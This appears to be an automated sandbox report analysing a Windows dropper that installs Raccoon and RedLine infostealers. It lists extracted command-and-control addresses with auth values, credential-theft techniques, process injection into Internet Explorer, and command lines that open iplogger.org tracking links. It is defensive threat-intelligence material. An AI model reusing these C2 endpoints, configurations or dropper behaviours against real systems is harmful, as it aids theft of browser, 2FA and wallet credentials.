raccoon | dfed6dfc62c9dd5a4d9546a52c8f739449f8967fa87cdc5cbb40cf40a58ec1e9

Analysis

max time kernel
186s
max time network
197s
platform
windows7_x64
resource
win7-20220718-en
resource tags

arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
submitted
02-08-2022 21:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f6b5ddd88bdca151ed8029fe0eabf368.exe
Size

973KB
MD5

f6b5ddd88bdca151ed8029fe0eabf368
SHA1

18ceeb2b4016fcf84f53065e234229e9b9ed8476
SHA256

dfed6dfc62c9dd5a4d9546a52c8f739449f8967fa87cdc5cbb40cf40a58ec1e9
SHA512

3a24933b329eb61b7348095d4fce02043bfb573b6a26217c0c523cb87835b8735eef44016633724909bc00b2ba7850032058c52b7b9664046e3a1d553731e940

Score

10^/10

raccoon redline 4 @tag12312341 afb5c633c4650f69312baef49db9dfa4 nam3 discovery infostealer spyware stealer

Malware Config

Extracted

Family

redline

Botnet

nam3

103.89.90.61:18728

Attributes

auth_value
64b900120bbceaa6a9c60e9079492895

Extracted

Family

redline

Botnet

31.41.244.134:11643

Attributes

auth_value
a516b2d034ecd34338f12b50347fbd92

Extracted

Family

redline

Botnet

@tag12312341

62.204.41.144:14096

Attributes

auth_value
71466795417275fac01979e57016e277

Extracted

Family

redline

185.215.113.46:8223

Attributes

auth_value
1c36b510dbc8ee0265942899b008d972

Extracted

Family

raccoon

Botnet

afb5c633c4650f69312baef49db9dfa4

http://77.73.132.84

rc4.plain

Signatures

Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
stealer raccoon

Raccoon Stealer payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1064-96-0x00000000004E0000-0x00000000004F6000-memory.dmp	family_raccoon
behavioral1/memory/1064-97-0x0000000000400000-0x00000000004B5000-memory.dmp	family_raccoon
behavioral1/memory/1064-156-0x0000000000400000-0x00000000004B5000-memory.dmp	family_raccoon

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 16 IoCs

Processes:

resource	yara_rule
\Program Files (x86)\Company\NewProduct\namdoitntn.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	family_redline
\Program Files (x86)\Company\NewProduct\safert44.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\safert44.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\safert44.exe	family_redline
\Program Files (x86)\Company\NewProduct\tag.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\tag.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\tag.exe	family_redline
behavioral1/memory/612-80-0x0000000000D10000-0x0000000000D54000-memory.dmp	family_redline
behavioral1/memory/812-85-0x0000000000320000-0x0000000000364000-memory.dmp	family_redline
behavioral1/memory/1180-84-0x0000000001370000-0x0000000001390000-memory.dmp	family_redline
\Program Files (x86)\Company\NewProduct\HappyRoot.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\HappyRoot.exe	family_redline
C:\Program Files (x86)\Company\NewProduct\HappyRoot.exe	family_redline
behavioral1/memory/836-94-0x00000000010A0000-0x00000000010C0000-memory.dmp	family_redline

Executes dropped EXE 9 IoCs

Processes:

namdoitntn.exereal.exesafert44.exetag.exekukurzka9000.exeF0geI.exeUSA1.exeHappyRoot.exeLittconsultor.exe

pid process

812 namdoitntn.exe
1324 real.exe
612 safert44.exe
1180 tag.exe
1064 kukurzka9000.exe
1656 F0geI.exe
1644 USA1.exe
836 HappyRoot.exe
960 Littconsultor.exe

pid	process
812	namdoitntn.exe
1324	real.exe
612	safert44.exe
1180	tag.exe
1064	kukurzka9000.exe
1656	F0geI.exe
1644	USA1.exe
836	HappyRoot.exe
960	Littconsultor.exe

Loads dropped DLL 13 IoCs

Processes:

f6b5ddd88bdca151ed8029fe0eabf368.exe

pid	process
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe
552	f6b5ddd88bdca151ed8029fe0eabf368.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Program Files directory 10 IoCs

Processes:

powershell.exef6b5ddd88bdca151ed8029fe0eabf368.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\real.exe	f6b5ddd88bdca151ed8029fe0eabf368.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\tag.exe	f6b5ddd88bdca151ed8029fe0eabf368.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Littconsultor.exe	f6b5ddd88bdca151ed8029fe0eabf368.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\HappyRoot.exe	f6b5ddd88bdca151ed8029fe0eabf368.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\USA1.exe	f6b5ddd88bdca151ed8029fe0eabf368.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	f6b5ddd88bdca151ed8029fe0eabf368.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\safert44.exe	f6b5ddd88bdca151ed8029fe0eabf368.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	f6b5ddd88bdca151ed8029fe0eabf368.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\F0geI.exe	f6b5ddd88bdca151ed8029fe0eabf368.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

real.exeUSA1.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	real.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	USA1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	USA1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	real.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeIEXPLORE.EXEiexplore.exeiexplore.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{13AAE2C1-12BB-11ED-AABD-EA4DA8A7DE6A} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "366248039"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{13A675F1-12BB-11ED-AABD-EA4DA8A7DE6A} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005fbcd10b409412459e4a7846285141250000000002000000000010660000000100002000000072836b356a198637e1f5c3fcfa5a6c7db483ab0b00e4ee76dc59e3b694c1e5dd000000000e80000000020000200000000e2503fc7bd71e329057a6b64057df39214074a51ab241027d0fbb2cd3e99377900000003bcc23b1efd6c118bb17c864f9cd407a8abdd080c82ba9acd349665610f84977a095745c2557c00cd55ff45b2962741d5782f9d566016c89cfecf35e84d174d4b78c3c7a3b5c82b5eb54c8a1985286a7b4ee557e523c9356fe201d13e9c6e0118cc3ed4e10d781f46bb39f39f9bccad2ae807c72804d2e8a2f218be2d87fbde0b2a24d0deb970a2d1bc8a9237c8404d240000000764ea4896e675036f86223f3785e52185795dde4342af5c03dd1f510b9f842814cef4e0a954f819fc5a7680a27c058bc60d87c5133f34cd156f241f87520a894	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{27E75DE0-12BB-11ED-AABD-EA4DA8A7DE6A} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

real.exepowershell.exetag.exeUSA1.exeHappyRoot.exesafert44.exenamdoitntn.exe

pid process

1324 real.exe
1324 real.exe
2960 powershell.exe
1180 tag.exe
1644 USA1.exe
1644 USA1.exe
1644 USA1.exe
836 HappyRoot.exe
612 safert44.exe
812 namdoitntn.exe

pid	process
1324	real.exe
1324	real.exe
2960	powershell.exe
1180	tag.exe
1644	USA1.exe
1644	USA1.exe
1644	USA1.exe
836	HappyRoot.exe
612	safert44.exe
812	namdoitntn.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exetag.exeHappyRoot.exesafert44.exenamdoitntn.exe

description	pid	process
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	1180	tag.exe
Token: SeDebugPrivilege	836	HappyRoot.exe
Token: SeDebugPrivilege	612	safert44.exe
Token: SeDebugPrivilege	812	namdoitntn.exe

Suspicious use of FindShellTrayWindow 8 IoCs

Processes:

iexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exe

pid process

948 iexplore.exe
1600 iexplore.exe
972 iexplore.exe
1564 iexplore.exe
1184 iexplore.exe
624 iexplore.exe
1636 iexplore.exe
844 iexplore.exe

pid	process
948	iexplore.exe
1600	iexplore.exe
972	iexplore.exe
1564	iexplore.exe
1184	iexplore.exe
624	iexplore.exe
1636	iexplore.exe
844	iexplore.exe

Suspicious use of SetWindowsHookEx 38 IoCs

Processes:

iexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXE

pid	process
1564	iexplore.exe
1564	iexplore.exe
1184	iexplore.exe
1184	iexplore.exe
1636	iexplore.exe
1636	iexplore.exe
972	iexplore.exe
972	iexplore.exe
624	iexplore.exe
624	iexplore.exe
1600	iexplore.exe
1600	iexplore.exe
844	iexplore.exe
844	iexplore.exe
948	iexplore.exe
948	iexplore.exe
1732	IEXPLORE.EXE
1732	IEXPLORE.EXE
2580	IEXPLORE.EXE
2580	IEXPLORE.EXE
2092	IEXPLORE.EXE
2092	IEXPLORE.EXE
2628	IEXPLORE.EXE
2628	IEXPLORE.EXE
2076	IEXPLORE.EXE
2076	IEXPLORE.EXE
2084	IEXPLORE.EXE
2064	IEXPLORE.EXE
2064	IEXPLORE.EXE
2084	IEXPLORE.EXE
2116	IEXPLORE.EXE
2116	IEXPLORE.EXE
2084	IEXPLORE.EXE
2084	IEXPLORE.EXE
2628	IEXPLORE.EXE
2628	IEXPLORE.EXE
2092	IEXPLORE.EXE
2092	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

f6b5ddd88bdca151ed8029fe0eabf368.exe

description	pid	process	target process
PID 552 wrote to memory of 972	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 972	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 972	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 972	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1600	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1600	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1600	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1600	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1636	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1636	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1636	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1636	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1184	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1184	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1184	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1184	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 624	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 624	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 624	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 624	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1564	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1564	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1564	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 1564	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 812	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	namdoitntn.exe
PID 552 wrote to memory of 812	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	namdoitntn.exe
PID 552 wrote to memory of 812	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	namdoitntn.exe
PID 552 wrote to memory of 812	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	namdoitntn.exe
PID 552 wrote to memory of 1324	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	real.exe
PID 552 wrote to memory of 1324	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	real.exe
PID 552 wrote to memory of 1324	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	real.exe
PID 552 wrote to memory of 1324	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	real.exe
PID 552 wrote to memory of 612	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	safert44.exe
PID 552 wrote to memory of 612	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	safert44.exe
PID 552 wrote to memory of 612	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	safert44.exe
PID 552 wrote to memory of 612	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	safert44.exe
PID 552 wrote to memory of 1180	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	tag.exe
PID 552 wrote to memory of 1180	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	tag.exe
PID 552 wrote to memory of 1180	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	tag.exe
PID 552 wrote to memory of 1180	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	tag.exe
PID 552 wrote to memory of 1064	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	kukurzka9000.exe
PID 552 wrote to memory of 1064	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	kukurzka9000.exe
PID 552 wrote to memory of 1064	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	kukurzka9000.exe
PID 552 wrote to memory of 1064	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	kukurzka9000.exe
PID 552 wrote to memory of 1656	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	F0geI.exe
PID 552 wrote to memory of 1656	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	F0geI.exe
PID 552 wrote to memory of 1656	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	F0geI.exe
PID 552 wrote to memory of 1656	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	F0geI.exe
PID 552 wrote to memory of 1644	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	USA1.exe
PID 552 wrote to memory of 1644	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	USA1.exe
PID 552 wrote to memory of 1644	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	USA1.exe
PID 552 wrote to memory of 1644	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	USA1.exe
PID 552 wrote to memory of 844	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 844	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 844	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 844	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 836	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	HappyRoot.exe
PID 552 wrote to memory of 836	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	HappyRoot.exe
PID 552 wrote to memory of 836	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	HappyRoot.exe
PID 552 wrote to memory of 836	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	HappyRoot.exe
PID 552 wrote to memory of 948	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 948	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 948	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe
PID 552 wrote to memory of 948	552	f6b5ddd88bdca151ed8029fe0eabf368.exe	iexplore.exe

C:\Users\Admin\AppData\Local\Temp\f6b5ddd88bdca151ed8029fe0eabf368.exe
"C:\Users\Admin\AppData\Local\Temp\f6b5ddd88bdca151ed8029fe0eabf368.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:552

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1RyjC4
2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:972

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:972 CREDAT:275457 /prefetch:2
3⤵
- Suspicious use of SetWindowsHookEx
PID:2084

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1A4aK4
2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
